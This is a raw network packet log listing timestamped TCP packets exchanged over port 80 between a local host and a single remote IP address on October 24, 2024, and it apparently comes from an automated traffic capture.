Oct 24, 2024 19:29:27.539463997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539469004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539474010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539489031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539525986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539540052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539577961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539608002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539664984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539666891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539717913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539721012 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539752007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539803028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539833069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539835930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539866924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539897919 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539901972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539936066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539963007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.539989948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.539990902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540041924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540069103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540075064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540110111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540127993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540144920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540179014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540189981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540214062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540261030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540265083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540301085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540353060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540354967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540389061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540421009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540455103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540466070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540488958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540498972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540524960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540560961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540605068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540792942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540822029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540848017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540854931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540889978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540894985 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.540941000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.540977001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541009903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541043997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541093111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541100025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541100025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541127920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541137934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541160107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541208982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541219950 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541244030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541376114 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541383982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541434050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541467905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541482925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541502953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541553020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541553974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541593075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541625977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541660070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541671038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541693926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541703939 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541748047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541781902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541796923 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541815996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541850090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541868925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541884899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541918993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.541929007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.541973114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542007923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542042971 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542059898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542109966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542126894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542145014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542180061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542213917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542234898 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542248011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542268038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542284012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542318106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542330980 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542352915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542386055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542412043 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542418957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542452097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542473078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542486906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542520046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542552948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542572021 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542587996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542608023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542622089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542654991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542689085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542699099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542721987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542733908 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542773008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542807102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542819023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542844057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542879105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542886019 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.542915106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542949915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542984009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.542993069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543018103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543028116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543054104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543087006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543121099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543132067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543154955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543173075 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543190002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543224096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543248892 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543257952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543292999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543302059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543348074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543380976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543399096 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.543416023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543448925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.543504000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.576028109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576086998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576145887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576150894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.576181889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576206923 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.576220989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576258898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576280117 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.576296091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576334000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.576385975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.727658987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727706909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727742910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727776051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727782965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.727827072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.727832079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727868080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727881908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727895975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727912903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727927923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727930069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.727943897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727967024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727977037 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.727982998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.727998972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728015900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728017092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728029966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728040934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728045940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728063107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728071928 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728084087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728106022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728127956 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728142977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728158951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728173971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728183031 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728190899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728213072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728236914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728271961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728286028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728301048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728317976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728327036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728333950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728351116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728357077 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728368044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728384018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728393078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728400946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728424072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728641033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728657007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728672028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728682041 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728688002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728704929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728712082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728722095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728738070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728754997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728761911 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728770971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728785992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728795052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728802919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728810072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728817940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728833914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728841066 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.728849888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728876114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.728882074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729027033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729046106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729060888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729073048 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729078054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729093075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729106903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729111910 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729123116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729123116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729140043 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729155064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729160070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729170084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729186058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729191065 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729224920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729418993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729434967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729449987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729465008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729475975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729480982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729496956 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729505062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729521036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729523897 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729537964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729561090 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729562044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729578018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729593039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729600906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729609966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729628086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729641914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729650974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729659081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729665041 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729676008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729692936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729708910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729717970 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729724884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729739904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729748964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729756117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729773045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729779005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729790926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729799986 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729806900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729821920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729830980 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729837894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729856968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.729867935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.729895115 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730124950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730139971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730154991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730170965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730179071 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730185986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730201960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730223894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730238914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730249882 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730256081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730259895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730272055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730288982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730289936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730305910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730317116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730323076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730339050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730345964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730355024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730371952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730389118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730396032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730405092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730422020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730427980 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730437994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730446100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730457067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730479002 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730710030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730726004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730741978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730756998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730767965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730772972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730796099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730797052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730813026 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:27.730813980 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:27.730832100 CEST	80	49725	185.215.113.16	192.168.2.5
